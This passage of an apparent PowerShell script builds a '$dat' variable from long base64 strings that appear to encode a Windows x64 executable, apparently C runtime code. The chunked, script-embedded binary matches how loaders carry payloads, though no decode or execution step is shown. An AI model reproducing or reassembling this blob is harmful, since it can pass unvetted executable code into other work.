IBQAASImFCAEAAEiNhQgFAABIg8AIiXQkcEiJhagAAABIi4UI';
$dat += 'BQAASIlFgIl8JHT/Ffl/AAAzyYv4/xWnfwAASI1MJEj/FZR/AACFwHUQhf91DIP7/3QHi8voNND//0iLjeAEAABIM8zo4cX//0yNnCTwBQAASYtbKEmLczBJi+NBXl9dw8xIiQ2JMwEAw0iJXCQISIlsJBBIiXQkGFdIg+wwQYvZSYv4SIvySIvp6Ff8//9IhcB0PUiLgLgDAABIhcB0MUiLVCRgRIvLSIlUJCBMi8dIi9ZIi83/Ff6AAABIi1wkQEiLbCRISIt0JFBIg8QwX8NMixUqHgEARIvLQYvKTIvHTDMVCjMBAIPhP0nTykiL1k2F0nQPSItMJGBJi8JIiUwkIOuuSItEJGBIi81IiUQkIOgjAAAAzMzMSIPsOEiDZCQgAEUzyUUzwDPSM8noN////0iDxDjDzMxIg+wouRcAAAD/FZF+AACFwHQHuQUAAADNKUG4AQAAALoXBADAQY1IAeie/f///xVcfgAASIvIuhcEAMBIg8QoSP8lUX4AAMwzwEyNDS+SAABJi9FEjUAIOwp0K//ASQPQg/gtcvKNQe2D+BF3BrgNAAAAw4HBRP///7gWAAAAg/kOQQ9GwMNBi0TBBMPMzMxIiVwkCFdIg+wgi/noC/v//0iFwHUJSI0Fax0BAOsESIPAJIk46PL6//9IjR1THQEASIXAdARIjVggi8/od////4kDSItcJDBIg8QgX8PMzEiD7Cjow/r//0iFwHUJSI0FIx0BAOsESIPAJEiDxCjDSIPsKOij+v//SIXAdQlIjQX/HAEA6wRIg8AgSIPEKMNAU0iD7CBMi8JIi9lIhcl0DjPSSI1C4Ej380k7wHJDSQ+v2LgBAAAASIXbSA9E2OsV6OYtAACFwHQoSIvL6OYiAACFwHQcSIsNUzMBAEyLw7oIAAAA/xX1fQAASIXAdNHrDeh5////xwAMAAAAM8BIg8QgW8PMzMxIO8pzBIPI/8MzwEg7yg+XwMPMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DAz20GL6EiL+kiL8UiFyXUiOFoodAxIi0oQ6PHz//+IXyhIiV8QSIlfGEiJXyDpDgEAADgZdVVIOVoYdUY4Wih0DEiLShDoxfP//4hfKLkCAAAA6Pjz//9IiUcQSIvLSPfYG9L30oPiDA+UwYXSD5TAiEcoSIlPGIXSdAeL2um+AAAASItHEGaJGOueQYPJ/4lcJChMi8ZIiVwkIIvNQY1RCug5FgAATGPwhcB1Fv8VeHsAAIvI6BH+///ofP7//4sY631Ii08YTDvxdkM4Xyh0DEiLTxDoNfP//4hfKEuNDDboafP//0iJRxBIi8tI99gb0vfSg+IMSQ9EzoXSD5TAiEcoSIlPGIXSD4Vs////SItHEEGDyf+JTCQoTIvGi81IiUQkIEGNUQrosRUAAEhjyIXAD4R0////SP/JSIlPIEiLbCRIi8NIi1wkQEiLdCRQSIt8JFhIg8QwQV7DzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+xAM9tFi/BIi/pIi/FIhcl1IjhaKHQMSItKEOh58v//iF8oSIlfEEiJXxhIiV8g6SIBAABmORl1VEg5Whh1RjhaKHQMSItKEOhM8v//iF8ouQEAAADof/L//0iJRxBIi8tI99gb0vfSg+IMD5TBhdIPlMCIRyhIiU8YhdJ0B4va6dEAAABIi0cQiBjr';
$dat += 'nkiJXCQ4QYPJ/0iJXCQwTIvGiVwkKDPSQYvOSIlcJCDoFBUAAEhj6IXAdRn/Ffd5AACLyOiQ/P//6Pv8//+LGOmFAAAASItPGEg76XZCOF8odAxIi08Q6LHx//+IXyhIi83o5vH//0iJRxBIi8tI99gb0vfSg+IMSA9EzYXSD5TAiEcoSIlPGIXSD4Vi////SItHEEGDyf9IiVwkOEyLxkiJXCQwM9KJTCQoQYvOSIlEJCDogRQAAEhjyIXAD4Rp////SP/JSIlPIEiLbCRYi8NIi1wkUEiLdCRgSIt8JGhIg8RAQV7DzMxIiVwkCEiJVCQQVVZXQVRBVUFWQVdIi+xIg+xgM/9Ii9lIhdJ1Fugl/P//jV8WiRjo+/r//4vD6aABAAAPV8BIiTpIiwHzD39F4EiJffBIhcB0VkiNVVBmx0VQKj9Ii8hAiH1S6FczAABIiwtIhcB1EEyNTeBFM8Az0uiNAQAA6wxMjUXgSIvQ6AcDAACL8IXAdQlIg8MISIsD67JMi2XoTIt94On4AAAATIt94EyLz0yLZehJi9dJi8RIiX1QSSvHTIvHTIvwScH+A0n/xkiNSAdIwekDTTv8SA9Hz0iDzv9Ihcl0JUyLEkiLxkj/wEE4PAJ190n/wUiDwghMA8hJ/8BMO8F130yJTVBBuAEAAABJi9FJi87oTOb//0iL2EiFwHR2So0U8E2L90iJVdhIi8JIiVVYTTv8dFZIi8tJK89IiU3QTYsGTIvuSf/FQzg8KHX3SCvQSf/FSANVUE2LzUiLyOjXMAAAhcAPhYMAAABIi0VYSItN0EiLVdhKiQQxSQPFSYPGCEiJRVhNO/R1tEiLRUiL90iJGDPJ6IPv//9Ji9xNi/dJK99Ig8MHSMHrA007/EgPR99Ihdt0FEmLDuhe7///SP/HTY12CEg7+3XsSYvP6Erv//+LxkiLnCSgAAAASIPEYEFfQV5BXUFcX15dw0UzyUiJfCQgRTPAM9IzyehI+f//zMzMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7DBIg83/SYv5M/ZNi/BMi+pMi+FI/8VAODQpdfe6AQAAAEmLxkgD6kj30Eg76HYgjUILSItcJGBIi2wkaEiLdCRwSIPEMEFfQV5BXUFcX8NNjXgBTAP9SYvP6Ov5//9Ii9hNhfZ0GU2Lzk2LxUmL10iLyOiiLwAAhcAPhdgAAABNK/5KjQwzSYvXTIvNTYvE6IUvAACFwA+FuwAAAEiLTwhEjXgITIt3EEk7zg+FnQAAAEg5N3UrQYvXjUgE6Ij5//8zyUiJB+gy7v//SIsPSIXJdEJIjUEgSIlPCEiJRxDrbUwrN0i4/////////39Jwf4DTDvwdx5Iiw9LjSw2SIvVTYvH6NQSAABIhcB1IjPJ6Ojt//9Ii8vo4O3//74MAAAAM8no1O3//4vG6QL///9KjQzwSIkHSIlPCEiNDOhIiU8QM8nos+3//0iLTwhIiRlMAX8I68tFM8lIiXQkIEUzwDPSM8novvf//8zMSIlcJCBVVldBVEFVQVZBV0iNrCTQ/f//SIHsMAMAAEiLBV4VAQBIM8RIiYUgAgAATYvgSIvxSLsBCAAAACAAAEg70XQiigIsLzwtdwpID77ASA+jw3IQSIvO6JUzAABIi9BIO8Z13kSKAkGA+Dp1HkiNRgFIO9B0FU2LzEUzwDPSSIvO6O/9///pVgIAAEGA6C8z/0GA+C13DEkPvsBID6PDsAFyA0CKx0gr1kiJfaBI/8JIiX2o9thIiX2wSI1MJDBIiX24TRvtSIl9wEwj6kCIfcgz0uhR6///SItEJDhBv+n9AABEOXgMdRhAOHwkSHQMSItEJDCDoKgDAAD9RYvH6zroJxQAAIXAdRtAOHwkSHQMSItEJDCDoKgDAAD9QbgBAAAA6xZAOHwkSHQMSItEJDCDoKgDAAD9RIvHSI1VoEiLzug';
$dat += 'e+P//SItNsEyNRdCFwIl8JChIiXwkIEgPRc9FM8kz0v8VyHUAAEiL2EiD+P91F02LzEUzwDPSSIvO6PP8//+L+OlHAQAATYt0JAhNKzQkScH+AzPSSIl8JHBIjUwkUEiJfCR4SIl9gEiJfYhIiX2QQIh9mOht6v//SItEJFhEOXgMdRhAOHwkaHQMSItEJFCDoKgDAAD9RYvH6zroSRMAAIXAdRtAOHwkaHQMSItEJFCDoKgDAAD9QbgBAAAA6xZAOHwkaHQMSItEJFCDoKgDAAD9RIvHSI1UJHBIjU386Lb4//9Mi32AhcBJi89ID0XPgDkudRGKQQGEwHQgPC51BkA4eQJ0Fk2LzE2LxUiL1ugd/P//i/iFwHVbM/9AOH2YdAhJi8/oH+v//0iNVdBIi8v/FVZzAABBv+n9AACFwA+FDf///0mLBCRJi1QkCEgr0EjB+gNMO/J0KUkr1kqNDPBMjQ2l9v//QbgIAAAA6FIoAADrDoB9mAB0CEmLz+jG6v//SIvL/xURcwAAgH3IAHQJSItNsOiu6v//i8dIi40gAgAASDPM6Lm5//9Ii5wkiAMAAEiBxDADAABBX0FeQV1BXF9eXcPMzOlX+f//zMzMSIlcJAhIiWwkEEiJdCQYV0iD7EAz20GL6EiL+kiL8UiFyXUZOFoodAOIWihIiVoQSIlaGEiJWiDpvQAAAGY5GXUwSDlaGHUiOFoodAOIWijoT/X//7kiAAAAiQiIXyhIiV8Yi9npkAAAAEiLQhCIGOvCSIlcJDhBg8n/SIlcJDBMi8aJXCQoM9KLzUiJXCQg6A8NAABIY9CFwHUW/xXycQAAi8joi/T//+j29P//ixjrSEiLTxhIO9F2CjhfKHSQiF8o64tIi0cQQYPJ/0iJXCQ4TIvGSIlcJDAz0olMJCiLzUiJRCQg6LgMAABIY8iFwHSpSP/JSIlPIEiLbCRYi8NIi1wkUEiLdCRgSIPEQF/DzMzMSIlcJBBIiXwkGFVIjawkcP7//0iB7JACAABIiwU3EQEASDPESImFgAEAAEGL+EiL2kG4BQEAAEiNVCRw/xWucgAAhcB1FP8VNHEAAIvI6M3z//8zwOmgAAAASINkJGAASI1MJCBIi8dIiVwkQDPSSIlEJEhIiUQkWEiJXCRQxkQkaADoeOf//0iLRCQoQbjp/QAARDlADHUVgHwkOAB0R0iLRCQgg6CoAwAA/es56FEQAACFwHUaOEQkOHQMSItEJCCDoKgDAAD9QbgBAAAA6xaAfCQ4AHQMSItEJCCDoKgDAAD9RTPASI1UJEBIjUwkcOj2/f//i0QkYEiLjYABAABIM8zod7f//0yNnCSQAgAASYtbGEmLeyBJi+Ndw8zMSIlcJAhMiUwkIFdIg+wgSYv5SYvYiwrodO///5BIiwNIiwhIi4GIAAAASIPAGEiLDfskAQBIhcl0b0iFwHRdQbgCAAAARYvIQY1Qfg8QAA8RAQ8QSBAPEUkQDxBAIA8RQSAPEEgwDxFJMA8QQEAPEUFADxBIUA8RSVAPEEBgDxFBYEgDyg8QSHAPEUnwSAPCSYPpAXW2igCIAesnM9JBuAEBAADoZ8j//+jC8v//xwAWAAAA6Jfx//9BuAIAAABBjVB+SIsDSIsISIuBiAAAAEgFGQEAAEiLDVskAQBIhcl0XkiFwH';
$dat += 'RMDxAADxEBDxBIEA8RSRAPEEAgDxFBIA8QSDAPEUkwDxBAQA8RQUAPEEhQDxFJUA8QQGAPEUFgSAPKDxBIcA8RSfBIA8JJg+gBdbbrHTPSQbgAAQAA6NDH///oK/L//8cAFgAAAOgA8f//SItDCEiLCEiLEYPI//APwQKD+AF1G0iLQwhIiwhIjQUcDwEASDkBdAhIiwnow+b//0iLA0iLEEiLQwhIiwhIi4KIAAAASIkBSIsDSIsISIuBiAAAAPD/AIsP6DXu//9Ii1wkMEiDxCBfw8zMQFNIg+xAi9kz0kiNTCQg6BDl//+DJXEjAQAAg/v+dRLHBWIjAQABAAAA/xUUcAAA6xWD+/11FMcFSyMBAAEAAAD/FfVvAACL2OsXg/v8dRJIi0QkKMcFLSMBAAEAAACLWAyAfCQ4AHQMSItMJCCDoagDAAD9i8NIg8RAW8PMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiNWRhIi/G9AQEAAEiLy0SLxTPS6KfG//8zwEiNfgxIiUYEuQYAAABIiYYgAgAAD7fAZvOrSI09BA4BAEgr/ooEH4gDSP/DSIPtAXXySI2OGQEAALoAAQAAigQ5iAFI/8FIg+oBdfJIi1wkMEiLbCQ4SIt0JEBIg8QgX8NIiVwkEEiJdCQYVUiNrCSA+f//SIHsgAcAAEiLBUsNAQBIM8RIiYVwBgAASIvZi0kEgfnp/QAAD4Q9AQAASI1UJFD/FfRuAACFwA+EKgEAADPASI1MJHC+AAEAAIgB/8BI/8E7xnL1ikQkVkiNVCRWxkQkcCDrIEQPtkIBD7bI6ws7znMMxkQMcCD/wUE7yHbwSIPCAooChMB13ItDBEyNRCRwg2QkMABEi86JRCQougEAAABIjYVwAgAAM8lIiUQkIOixKwAAg2QkQABMjUwkcItDBESLxkiLkyACAAAzyYlEJDhIjUVwiXQkMEiJRCQoiXQkIOgmMAAAg2QkQABMjUwkcItDBEG4AAIAAEiLkyACAAAzyYlEJDhIjYVwAQAAiXQkMEiJRCQoiXQkIOjtLwAAuAEAAABIjZVwAgAA9gIBdAuATBgYEIpMBW/rFfYCAnQOgEwYGCCKjAVvAQAA6wIyyYiMGBgBAABIg8ICSP/ASIPuAXXH60Mz0r4AAQAAjUoBRI1Cn0GNQCCD+Bl3CoBMCxgQjUIg6xJBg/gZdwqATAsYII1C4OsCMsCIhAsYAQAA/8JI/8E71nLHSIuNcAYAAEgzzOjIsv//TI2cJIAHAABJi1sYSYtzIEmL413DzMzMSIlcJAhMiUwkIEyJRCQYVVZXSIvsSIPsQECK8ovZSYvRSYvI6JcBAACLy+jc/P//SItNMIv4TIuBiAAAAEE7QAR1BzPA6bgAAAC5KAIAAOiA4///SIvYSIXAD4SVAAAASItFMLoEAAAASIvLSIuAiAAAAESNQnwPEAAPEQEPEEgQDxFJEA8QQCAPEUEgDxBIMA8RSTAPEEBADxFBQA8QSFAPEUlQDxBAYA8RQWBJA8gPEEhwSQPADxFJ8EiD6gF1tg8QAA8RAQ8QSBAPEUkQSItAIEiJQSCLzyETSIvT6BECAACL+IP4/3Ul6NHt///HABYAAACDz/9Ii8volOL//4vHSItcJGBIg8RAX15dw0CE9nUF6HcbAABIi0UwSIuIiAAAAIPI//APwQGD+AF1HEiLRTBIi4iIAAAASI0';
$dat += 'FngoBAEg7yHQF6Eji///HAwEAAABIi8tIi0UwM9tIiYiIAAAASItFMIuIqAMAAIUNJhIBAHWESI1FMEiJRfBMjU3kSI1FOEiJRfhMjUXwjUMFSI1V6IlF5EiNTeCJRejorvn//0CE9g+ETf///0iLRThIiwhIiQ3HEAEA6Tr////MzEiJXCQQSIl0JBhXSIPsIEiL8kiL+YsFvREBAIWBqAMAAHQTSIO5kAAAAAB0CUiLmYgAAADrZLkFAAAA6ODo//+QSIufiAAAAEiJXCQwSDsedD5Ihdt0IoPI//APwQOD+AF1FkiNBbYJAQBIi0wkMEg7yHQF6Fvh//9IiwZIiYeIAAAASIlEJDDw/wBIi1wkMLkFAAAA6Nro//9Ihdt0E0iLw0iLXCQ4SIt0JEBIg8QgX8PoYd///5BIg+wogD0ZHgEAAHVMSI0NlAwBAEiJDfUdAQBIjQVGCQEASI0NbwsBAEiJBegdAQBIiQ3RHQEA6BDm//9MjQ3VHQEATIvAsgG5/f///+g2/f//xgXLHQEAAbABSIPEKMNIg+wo6A/l//9Ii8hIjRWlHQEASIPEKOnM/v//SIlcJBhVVldBVEFVQVZBV0iD7EBIiwV5CAEASDPESIlEJDhIi/Lo7fn//zPbi/iFwA+EUwIAAEyNLf4MAQBEi/NJi8WNawE5OA+ETgEAAEQD9UiDwDBBg/4FcuuB/+j9AAAPhC0BAAAPt8//FdtpAACFwA+EHAEAALjp/QAAO/h1LkiJRgRIiZ4gAgAAiV4YZoleHEiNfgwPt8O5BgAAAGbzq0iLzuh9+v//6eIBAABIjVQkIIvP/xWnaQAAhcAPhMQAAAAz0kiNThhBuAEBAADolsD//4N8JCACiX4ESImeIAIAAA+FlAAAAEiNTCQmOFwkJnQsOFkBdCcPtkEBD7YRO9B3FCvCjXoBjRQogEw3GAQD/Ugr1XX0SIPBAjgZddRIjUYauf4AAACACAhIA8VIK8119YtOBIHppAMAAHQug+kEdCCD6Q10EjvNdAVIi8PrIkiLBXF9AADrGUiLBWB9AADrEEiLBU99AADrB0iLBT59AABIiYYgAgAA6wKL64luCOkL////OR0VHAEAD4X1AAAAg8j/6fcAAAAz0kiNThhBuAEBAADovr///0GLxk2NTRBMjT1wCwEAQb4EAAAATI0cQEnB4wRNA8tJi9FBOBl0PjhaAXQ5RA+2Ag+2QgFEO8B3JEWNUAFBgfoBAQAAcxdBigdEA8VBCEQyGEQD1Q+2QgFEO8B24EiDwgI4GnXCSYPBCEwD/Uwr9XWuiX4EiW4Ige+kAwAAdCmD7wR0G4PvDXQNO/11IkiLHYp8AADrGUiLHXl8AADrEEiLHWh8AADrB0iLHVd8AABMK95IiZ4gAgAASI1WDLkGAAAAS408Kw+3RBf4ZokCSI1SAkgrzXXv6Rn+//9Ii87oBvj//zPASItMJDhIM8zoG63//0iLnCSQAAAASIPEQEFfQV5BXUFcX15dw8zMzEiJXCQISIl0JBBXSIPsQIvaQYv5SIvRQYvwSI1MJCDoXNz//0iLRCQwD7bTQIR8Ahl1GoX2dBBIi0QkKEiLCA+3BFEjxusCM8CFwHQFuAEAAACAfCQ4AHQMSItMJCCDoagDAAD9SItcJFBIi3QkWEiDxEBfw8zMzIvRQbkEAAAAM8lFM8Dpdv///8zMSIPsKP8VGmcAAEiJBXMaAQD/FRVnAABIiQVuGgEAsAFIg8Qow8zMzIH5NcQAAHcgjYHUO///g/gJdwxBuqcCAABBD6PCcgWD+Sp1LzPS6yuB+ZjWAAB0IIH5qd4AAHYbgfmz3gAAdu';
$dat += 'SB+ej9AAB03IH56f0AAHUDg+IISP8lsmYAAMzMSIlcJAhXjYEYAv//RYvZg/gBSYvYQQ+WwjP/gfk1xAAAdxyNgdQ7//+D+Al3DEG4pwIAAEEPo8ByM4P5KusmgfmY1gAAdCaB+aneAAB2GIH5s94AAHYWgfno/QAAdA6B+en9AAB0Bg+68gfrAovXSItEJEhFhNJMi0wkQEyLwEwPRcdMD0XPdAdIhcB0Aok4TIlEJEhMi8NMiUwkQEWLy0iLXCQQX0j/JQtmAADMzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+xA/xXxZQAARTP2SIvYSIXAD4SkAAAASIvwZkQ5MHQcSIPI/0j/wGZEOTRGdfZIjTRGSIPGAmZEOTZ15EyJdCQ4SCvzTIl0JDBIg8YCSNH+TIvDRIvORIl0JCgz0kyJdCQgM8no0P7//0hj6IXAdEtIi83o1dv//0iL+EiFwHQuTIl0JDhEi85MiXQkMEyLw4lsJCgz0jPJSIlEJCDol/7//4XAdAhIi/dJi/7rA0mL9kiLz+hU2///6wNJi/ZIhdt0CUiLy/8VNWUAAEiLXCRQSIvGSIt0JGBIi2wkWEiLfCRoSIPEQEFew8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgSYvoSIvaSIvxSIXSdB0z0kiNQuBI9/NJO8BzD+gX5v//xwAMAAAAM8DrQUiF9nQK6C8nAABIi/jrAjP/SA+v3UiLzkiL0+hVJwAASIvwSIXAdBZIO/tzEUgr30iNDDhMi8Mz0uhvu///SIvGSItcJDBIi2wkOEiLdCRASIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsIESL+UyNNU6S//9Ni+FJi+hMi+pLi4z+8IUBAEyLFT4CAQBIg8//QYvCSYvSSDPRg+A/ishI08pIO9cPhFsBAABIhdJ0CEiLwulQAQAATTvED4TZAAAAi3UASYuc9lCFAQBIhdt0Dkg73w+ErAAAAOmiAAAATYu09pDmAAAz0kmLzkG4AAgAAP8VS2MAAEiL2EiFwHVP/xXtYQAAg/hXdUKNWLBJi85Ei8NIjRXQcwAA6IvZ//+FwHQpRIvDSI0VHX0AAEmLzuh12f//hcB0E0UzwDPSSYvO/xX7YgAASIvY6wIz20yNNW2R//9Ihdt1DUiLx0mHhPZQhQEA6x5Ii8NJh4T2UIUBAEiFwHQJSIvL/xWyYgAASIXbdVVIg8UESTvsD4Uu////TIsVMQEBADPbSIXbdEpJi9VIi8v/FY5iAABIhcB0MkyLBRIBAQC6QAAAAEGLyIPhPyvRispIi9BI08pJM9BLh5T+8IUBAOstTIsV6QABAOu4TIsV4AABAEGLwrlAAAAAg+A/K8hI089JM/pLh7z+8IUBADPASItcJFBIi2wk';
$dat += 'WEiLdCRgSIPEIEFfQV5BXUFcX8PMzEBTSIPsIEiL2UyNDZx8AAC5HAAAAEyNBYx8AABIjRWJfAAA6AD+//9IhcB0FkiL00jHwfr///9Ig8QgW0j/JRljAAC4JQIAwEiDxCBbw8zMSIPsKEyNDd17AAAzyUyNBdB7AABIjRXRewAA6Lj9//9IhcB0C0iDxChI/yXcYgAAuAEAAABIg8Qow8zMQFNIg+wgSIvZTI0NuHsAALkDAAAATI0FpHsAAEiNFS1yAADodP3//0iFwHQPSIvLSIPEIFtI/yWUYgAASIPEIFtI/yUgYQAAQFNIg+wgi9lMjQ15ewAAuQQAAABMjQVlewAASI0V/nEAAOgt/f//i8tIhcB0DEiDxCBbSP8lTmIAAEiDxCBbSP8l6mAAAMzMQFNIg+wgi9lMjQ05ewAAuQUAAABMjQUlewAASI0VxnEAAOjl/P//i8tIhcB0DEiDxCBbSP8lBmIAAEiDxCBbSP8lmmAAAMzMSIlcJAhXSIPsIEiL2kyNDfR6AACL+UiNFZtxAAC5BgAAAEyNBdd6AADolvz//0iL04vPSIXAdAj/FbphAADrBv8V8l4AAEiLXCQwSIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgQYvwTI0No3oAAIvaTI0FknoAAEiL+UiNFVBxAAC5EgAAAOg6/P//i9NIi89IhcB0C0SLxv8VW2EAAOsG/xXjXwAASItcJDBIi3QkOEiDxCBfw8zMzEiJXCQISIlsJBBIiXQkGFdIg+xQQYvZSYv4i/JMjQ09egAASIvpTI0FK3oAAEiNFSx6AAC5FAAAAOjO+///SIXAdFJMi4QkoAAAAESLy0iLjCSYAAAAi9ZMiUQkQEyLx0iJTCQ4SIuMJJAAAABIiUwkMIuMJIgAAACJTCQoSIuMJIAAAABIiUwkIEiLzf8VrWAAAOsyM9JIi83oPQAAAIvIRIvLi4QkiAAAAEyLx4lEJCiL1kiLhCSAAAAASIlEJCD/FclfAABIi1wkYEiLbCRoSIt0JHBIg8RQX8NIiVwkCFdIg+wgi/pMjQ2JeQAASIvZSI0Vf3kAALkWAAAATI0Fa3kAAOgC+///SIvLSIXAdAqL1/8VJmAAAOsF6IMiAABIi1wkMEiDxCBfw0iJfCQISI09OBMBAEiNBUEUAQBIO8dIiwU//QAASBvJSPfRg+Ei80irSIt8JAiwAcPMzMxAU0iD7CCEyXUvSI0dXxIBAEiLC0iFyXQQSIP5/3QG/xVrXgAASIMjAEiDwwhIjQXcEgEASDvYddiwAUiDxCBbw8zMzEiD7Cj/FVpdAABIhcBIiQXIEwEAD5XASIPEKMNIgyW4EwEAALABw8xIi8RIiVgISIloEEiJcBhIiXggQVZIgeyQAAAASI1IiP8Vpl0AAEUz9mZEOXQkYg+EmgAAAEiLRCRoSIXAD4SMAAAASGMYSI1wBL8AIAAASAPeOTgPTDiLz+giIwAAOz1gFwEAD089WRcBAIX/dGBBi+5Igzv/dEdIgzv+dEH2BgF0PPYGCHUNSIsL/xVDXAAAhcB0KkiLxUyNBSUTAQBIi81IwfkGg+A/SYsMyEiNFMBIiwNIiUTRKIoGiETROEj/xUj/xkiDwwhIg+8BdaNMjZwkkAAAAEmLWxBJi2sYSYtzIEmLeyhJi+NBXsPMzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgM/ZFM/ZIY85IjT2sEgEASIvBg+E/SMH4BkiNHMlIizzHSItE3yhIg8ACSIP4AXYKgEzfOIDpjwAAAMZE3ziBi86F9nQWg+kBdAq';
$dat += 'D+QG59P///+sMufX////rBbn2/////xXFWwAASIvoSI1IAUiD+QF2C0iLyP8VT1sAAOsCM8CFwHQgD7bISIls3yiD+QJ1B4BM3zhA6zGD+QN1LIBM3zgI6yWATN84QEjHRN8o/v///0iLBUoWAQBIhcB0C0mLBAbHQBj+/////8ZJg8YIg/4DD4Ut////SItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DQFNIg+wguQcAAADoCNr//zPbM8noayEAAIXAdQzo4v3//+jN/v//swG5BwAAAOg52v//isNIg8QgW8PMSIlcJAhXSIPsIDPbSI09eREBAEiLDDtIhcl0CujXIAAASIMkOwBIg8MISIH7AAQAAHLZSItcJDCwAUiDxCBfw0iJXCQISIl0JBBXSIPsIEiL8kiL+Ug7ynRUSIvZSIsDSIXAdAr/FdFcAACEwHQJSIPDEEg73nXlSDvedDFIO990KEiDw/hIg3v4AHQQSIsDSIXAdAgzyf8Vn1wAAEiD6xBIjUMISDvHddwywOsCsAFIi1wkMEiLdCQ4SIPEIF/DSIlcJAhXSIPsIEiL2kiL+Ug7ynQaSItD+EiFwHQIM8n/FVZcAABIg+sQSDvfdeZIi1wkMLABSIPEIF/DSIkNkRQBAMNAU0iD7CBIi9noIgAAAEiFwHQUSIvL/xUcXAAAhcB0B7gBAAAA6wIzwEiDxCBbw8xAU0iD7CAzyeib2P//kEiLHTv5AACLy4PhP0gzHT8UAQBI08szyejR2P//SIvDSIPEIFvDSIlcJAhMiUwkIFdIg+wgSYv5iwroW9j//5BIix37+AAAi8uD4T9IMx0XFAEASNPLiw/okdj//0iLw0iLXCQwSIPEIF/DzMzMTIvcSIPsKLgDAAAATY1LEE2NQwiJRCQ4SY1TGIlEJEBJjUsI6I////9Ig8Qow8zMSIkNtRMBAEiJDbYTAQBIiQ23EwEASIkNuBMBAMPMzMxIiVwkIFZXQVRBVUFWSIPsQIvZRTPtRCFsJHhBtgFEiHQkcIP5AnQhg/kEdEyD+QZ0F4P5CHRCg/kLdD2D+Q90CI1B64P4AXd9g+kCD4SvAAAAg+kED4SLAAAAg+kJD4SUA';
$dat += 'AAAg+kGD4SCAAAAg/kBdHQz/+mPAAAA6OrV//9Mi+hIhcB1GIPI/0iLnCSIAAAASIPEQEFeQV1BXF9ew0iLAEiLDVRrAABIweEESAPI6wk5WAR0C0iDwBBIO8F18jPASIXAdRLo8dr//8cAFgAAAOjG2f//665IjXgIRTL2RIh0JHDrIkiNPb8SAQDrGUiNPa4SAQDrEEiNPbUSAQDrB0iNPZQSAQBIg6QkgAAAAABFhPZ0C7kDAAAA6LzW//+QSIs3RYT2dBJIiwVU9wAAi8iD4T9IM/BI085Ig/4BD4SUAAAASIX2D4QDAQAAQbwQCQAAg/sLdz1BD6PcczdJi0UISImEJIAAAABIiUQkMEmDZQgAg/sIdVPobdP//4tAEIlEJHiJRCQg6F3T///HQBCMAAAAg/sIdTJIiwViagAASMHgBEkDRQBIiw1bagAASMHhBEgDyEiJRCQoSDvBdB1Ig2AIAEiDwBDr60iLBbD2AABIiQfrBkG8EAkAAEWE9nQKuQMAAADoQtb//0iD/gF1BzPA6Y7+//+D+wh1Gejn0v//i1AQi8tIi8ZMiwUoWQAAQf/Q6w6Ly0iLxkiLFRdZAAD/0oP7C3fIQQ+j3HPCSIuEJIAAAABJiUUIg/sIdbHopNL//4tMJHiJSBDro0WE9nQIjU4D6NLV//+5AwAAAOiYwv//kMzMzEiLFRH2AACLykgzFUARAQCD4T9I08pIhdIPlcDDzMzMSIkNKREBAMNIixXp9QAATIvBi8pIMxUVEQEAg+E/SNPKSIXSdQMzwMNJi8hIi8JI/yV6WAAAzMxIiVwkCEyJTCQgV0iD7CBJi/lJi9hIiwroCwQAAJBIi1MISIsDSIsASIXAdFqLSBSLwcHoDagBdE6LwSQDPAJ1BfbBwHUKD7rhC3IE/wLrN0iLQxCAOAB1D0iLA0iLCItBFNHoqAF0H0iLA0iLCOjlAQAAg/j/dAhIi0MI/wDrB0iLQxiDCP9Iiw/opQMAAEiLXCQwSIPEIF/DzMxIiVwkCEyJTCQgVldBVkiD7GBJi/FJi/iLCuhd1P//kEiLHU0QAQBIYwU+EAEATI00w0iJXCQ4STveD4SIAAAASIsDSIlEJCBIixdIhcB0IYtIFIvBwegNqAF0FYvBJAM8AnUF9sHAdQ4PuuELcgj/AkiDwwjru0iLVxBIi08ISIsHTI1EJCBMiUQkQEiJRCRISIlMJFBIiVQkWEiLRCQgSIlEJChIiUQkMEyNTCQoTI1EJEBIjVQkMEiNjCSIAAAA6J7+///rqYsO6AHU//9Ii5wkgAAAAEiDxGBBXl9ew4hMJAhVSIvsSIPsQINlKABIjUUog2UgAEyNTeBIiUX';
$dat += 'oTI1F6EiNRRBIiUXwSI1V5EiNRSBIiUX4SI1NGLgIAAAAiUXgiUXk6NT+//+AfRAAi0UgD0VFKEiDxEBdw8zMzEiJXCQISIl0JBBXSIPsIEiL2YtJFIvBJAM8AnVL9sHAdEaLOyt7CINjEABIi3MISIkzhf9+MkiLy+gWBAAAi8hEi8dIi9boJSYAADv4dArwg0sUEIPI/+sRi0MUwegCqAF0BfCDYxT9M8BIi1wkMEiLdCQ4SIPEIF/DzMxAU0iD7CBIi9lIhcl1CkiDxCBb6Qz////oZ////4XAdSGLQxTB6AuoAXQTSIvL6KUDAACLyOiqHAAAhcB1BDPA6wODyP9Ig8QgW8PMsQHp0f7//8xIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgiwU9DgEAM9u/AwAAAIXAdQe4AAIAAOsFO8cPTMdIY8i6CAAAAIkFGA4BAOgj1v//M8lIiQUSDgEA6MnK//9IOR0GDgEAdS+6CAAAAIk98Q0BAEiLz+j51f//M8lIiQXoDQEA6J/K//9IOR3cDQEAdQWDyP/rdUiL60iNNZv5AABMjTV8+QAASY1OMEUzwLqgDwAA6Hfz//9IiwWsDQEATI0FXQkBAEiL1UjB+gZMiTQDSIvFg+A/SI0MwEmLBNBIi0zIKEiDwQJIg/kCdwbHBv7///9I/8VJg8ZYSIPDCEiDxlhIg+8BdZ4zwEiLXCQwSItsJDhIi3QkQEiLfCRISIPEIEFew8xAU0iD7CDozf7//+hAKAAAM9tIiw0rDQEASIsMC+jiKAAASIsFGw0BAEiLDANIg8Ew/xX9UgAASIPDCEiD+xh10UiLDfwMAQDos8n//0iDJe8MAQAASIPEIFvDzEiDwTBI/yW9UgAAzEiDwTBI/yW5UgAAzEiJXCQISIlsJBBIiXQkGFdIg+xQM+1Ji/BIi/pIi9lIhdIPhDgBAABNhcAPhC8BAABAOCp1EUiFyQ+EKAEAAGaJKekgA